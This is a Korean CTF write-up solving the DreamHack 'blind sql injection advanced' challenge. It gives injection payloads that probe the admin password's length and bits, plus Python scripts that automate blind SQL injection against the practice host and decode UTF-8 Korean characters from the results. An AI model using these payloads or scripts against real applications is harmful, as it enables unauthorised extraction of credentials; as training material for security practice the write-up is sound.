Oh! JUN

[DreamHack] blind sql injection advanced 문제풀이 본문

문제풀이/DreamHack

[DreamHack] blind sql injection advanced 문제풀이

Kwon Oh! JUN 2022. 11. 24. 15:28
문제설명
Exercise: Blind SQL Injection Advanced에서 실습하는 문제입니다.
관리자의 비밀번호는 "아스키코드"와 "한글"로 구성되어 있습니다.

메인화면


Query


Query를 보니까 DH{**FLAG**} 여기 FLAG 값을 구하면 된다.

 

먼저,  FLAG의 길이를 구해보자

admin' and length((select upw from users where uid='admin'))=27#

FLAG 값은 27자인거 알았다.


이제 blind_Sql Injection 공격으로 FLAG값을 알아볼것이다.

FLAG가 위치한 레코드의 uid='admin'이니까 select upw from users where uid='admin' 한글자씩 아스키코드로 변환해서 비트추론할 것이다.

 

다하기는 오래걸리니까 글자하나만 수공업으로 하고 나머지는 python으로 코드짜서 자동화 돌리겠습니다.

 

 

INPUT OUTPUT
admin' and ascii(substring((select upw from users where uid='admin'),1,1))&1=1# 0
admin' and ascii(substring((select upw from users where uid='admin'),1,1))&2=2# 0
admin' and ascii(substring((select upw from users where uid='admin'),1,1))&4=4# 1 : user "admin' and ascii(substring((select upw from users where uid='admin'),1,1))&4=4#" exists.
admin' and ascii(substring((select upw from users where uid='admin'),1,1))&8=8# 0
admin' and ascii(substring((select upw from users where uid='admin'),1,1))&16=16# 0
admin' and ascii(substring((select upw from users where uid='admin'),1,1))&32=32# 0
admin' and ascii(substring((select upw from users where uid='admin'),1,1))&64=64# 1 : user "admin' and ascii(substring((select upw from users where uid='admin'),1,1))&4=4#" exists.
admin' and ascii(substring((select upw from users where uid='admin'),1,1))&128=128# 0
01000100 -> 'D'

 

첫글자는 'D' 

아마도 DH{**FLAG**} 할때 첫번째 D 일듯

 

나머지는 파이썬 코드 짜보겠습니다.

import requests
import string

url = "http://host3.dreamhack.games:16869/"
asc = ["128", "64", "32", "16", "8", "4", "2", "1"]

print(len(asc))
result=""
upw=""

for i in range(1,28):#1,14
    for j in asc:
        param = "?uid=admin%27+and+ascii%28substring%28%28select+upw+from+users+where+uid%3D%27admin%27%29%2C"+str(i)+"%2C1%29%29%26"+j+"%3D"+j+"%23"
        res_url = url+param
        response = requests.get(res_url)

        if response.text.find("exists")>0:
            result+="1"

        if response.text.find("exists")<0:
            result+="0"

    print(str(i)+"번째 패스워드 :"+result)
    dec = int(result,2)
    print(dec)
    print(chr(dec))
    upw+=chr(dec)     
    result=""    
             
print("pw :"+upw)

 

1번째 패스워드 :01000100
68
D
2번째 패스워드 :01001000
72
H
3번째 패스워드 :01111011
123
{
4번째 패스워드 :11101100
236
ì
5번째 패스워드 :11101010
234
ê
6번째 패스워드 :11101100
236
ì
7번째 패스워드 :11101011
235
ë
8번째 패스워드 :11101011
235
ë
9번째 패스워드 :11101011
235
ë
10번째 패스워드 :11101101
237
í
11번째 패스워드 :00100001
33
!
12번째 패스워드 :00111111
63
?
13번째 패스워드 :01111101
125
}
14번째 패스워드 :00000000
0

15번째 패스워드 :00000000
0

...

27번째 패스워드 :00000000
0

pw :DH{ìêìëëëí!?}

 

DH{!?}는 정상적으로 출력되는데 사이에 이상한 값이 출력되고 14번째 글자부터 아무것도 잡히지가 않는다.

 

문제를 다시 확인해보니까

 

문제설명
Exercise: Blind SQL Injection Advanced에서 실습하는 문제입니다.
관리자의 비밀번호는 "아스키코드"와 "한글"로 구성되어 있습니다.

 

'한글'이 포함이 되어있다.....

 

먼저, 글자수가 왜 27개가 아닌 13개 잡히는지 확인해보자

 

D(1byte) H(1byte) {(1byte) ì(3byte) ê(3byte) ì(3byte) ë(3byte) ë(3byte) ë(3byte) í(3byte)

 

!(1byte) ?(1byte) }(1byte)              

 

1+1+1+1+3+3+3+3+3+3+3+1+1+1=27

ìêìëëëí가 다 3바이트 문자이기 때문이다. 

즉 한글이고 UTF-8 인코딩이다.

 

아스키코드로는 한글을 표현할 수 없다.

유니코드에 맞춰야 된다.

 

 

import requests
import string


url = "http://host3.dreamhack.games:16869/"
result=""
upw=""
key_flag=""
  
for i in range(4,11):#1,14
    for j in range(1, 25):
        param ="?uid=admin%27+and+substring%28bin%28ord%28substring%28%28select+upw+from+users+where+uid%3D%27admin%27%29%2C"+str(i)+"%2C1%29%29%29%2C"+str(j)+"%2C1%29%3D1%23"
        #admin' and substring(bin(ord(substring((select upw from users where uid='admin'),?,1))),?,1)=1#
        res_url = url+param
        response = requests.get(res_url)
        #print(param)

        if response.text.find("exists.")>0:
            result+="1"
            #print("pw :"+result)
      

        if response.text.find("exists.")<0:
            result+="0"
            #print("pw :"+result)
            

    print(str(i)+"번째 패스워드 :"+result)

    a=hex(int(str(bin(int(result,2))[2:]),2))[2:]#2진수 값 result가 int형으로 들어가야됨. (str(): "1010" -> int(): 10 -> bin() : 1010)

    key = bytes.fromhex(a).decode('utf-8')

    print(key)
   
    result=""
    key_flag += key     
             
print("flag :"+key_flag)

 

upw의 4번째 단어를 ord() : 유니코드로 변환시키고 -> bin() : 2진수로 변경시켰다.

그러면 101010xxxxxx이런식으로 나오면 첫번째 숫자부터 비교해서 

user "????" exists.

이 문구가 뜨면 맞는거니까 1 

뜨지 않으면 0 

추가해서 유니코드에서 변환된 2진수를 알 수 있다.

 

 

 

↓ ord('이')

 

50504

 

↓ bin(51060)

 

1100011101110100

 

↓utf-8 인코딩(https://ko.wikipedia.org/wiki/UTF-8)

 

1110/1100/10/011101/10/110100

 

↓ substring('111011001001110110110100',1~24,1)

 

admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),1,1)=1# 0
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),2,1)=1# 0
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),3,1)=1# 1
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),4,1)=1# 0
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),5,1)=1# 1
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),6,1)=1# 1
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),7,1)=1# 0
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),8,1)=1# 1
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),9,1)=1# 1
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),10,1)=1# 0
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),11,1)=1# 1
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),12,1)=1# 1
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),13,1)=1# 1
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),14,1)=1# 0
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),15,1)=1# 0
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),16,1)=1# 1
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),17,1)=1# 0
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),18,1)=1# 0
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),19,1)=1# 1
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),20,1)=1# 1
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),21,1)=1# 0
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),22,1)=1# 1
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),23,1)=1# 1
admin' and substring(bin(ord(substring((select upw from users where uid='admin'),4,1))),24,1)=1# 1

 

하나씩 비교해서  exits이 화면에 뜨면 1

뜨지 않으면 0으로 유추해서 

유니코드 알 수 있다.

 

111011001001110110110100

 

    a=hex(int(str(bin(int(result,2))[2:]),2))[2:]

result가 현재 str형태여서 16진수로 변경할려면 int형으로 변경해줘야된다.

2진수 값 result가 int형으로 들어가야됨. (str(): "1010" -> int(): 10 -> bin() : 1010)

    key = bytes.fromhex(a).decode('utf-8')

16진수를 utf-8로 디코딩하면 우리가 알려고 한 한글 구할 수 있다.

 

 

4번째 패스워드 :111011001001110110110100

5번째 패스워드 :111010101011001010000011

6번째 패스워드 :111011001001110110110100

7번째 패스워드 :111010111011100110000100

8번째 패스워드 :111010111011000010000000

9번째 패스워드 :111010111011001010001000

10번째 패스워드 :111011011001100010111000

flag :이것이비밀번호